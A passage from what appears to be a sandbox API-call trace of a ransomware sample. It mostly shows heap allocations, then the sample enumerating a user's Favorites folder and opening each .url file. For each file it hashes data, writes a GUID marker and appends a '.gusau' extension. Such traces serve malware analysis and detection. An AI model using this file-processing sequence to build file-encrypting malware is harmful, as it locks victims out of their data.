hHeap=0xd10000) returned 1 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0938 | out: hHeap=0xd10000) returned 1 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0938 [0118.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.192] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0118.192] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0118.192] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.192] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.192] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.192] PathFindFileNameW (pszPath="") returned="" [0118.192] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.193] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.193] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0118.193] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned=".url" [0118.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.194] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.194] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.196] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.196] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.197] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.197] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.197] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.197] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.197] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0118.198] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.198] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.198] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.198] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.198] GetLastError () returned 0x0 [0118.198] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.198] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0118.198] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.198] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.198] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.199] CloseHandle (hObject=0x610) returned 1 [0118.199] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.gusau")) returned 1 [0118.200] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0118.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0118.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.201] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.201] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.203] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.203] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.204] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.204] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.204] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.204] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.204] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0118.205] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.205] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.205] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.205] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.205] GetLastError () returned 0x0 [0118.205] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.205] CryptReleaseContext (hProv=0xdf0938, dwFlags=0x0) returned 1 [0118.205] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.205] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.205] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.205] CloseHandle (hObject=0x610) returned 1 [0118.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.gusau")) returned 1 [0118.207] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0118.207] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0118.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.207] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.207] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.210] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.210] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.210] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.210] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.211] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.211] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.211] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0938) returned 1 [0118.211] CryptCreateHash (in: hProv=0xdf0938, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.211] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.211] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | 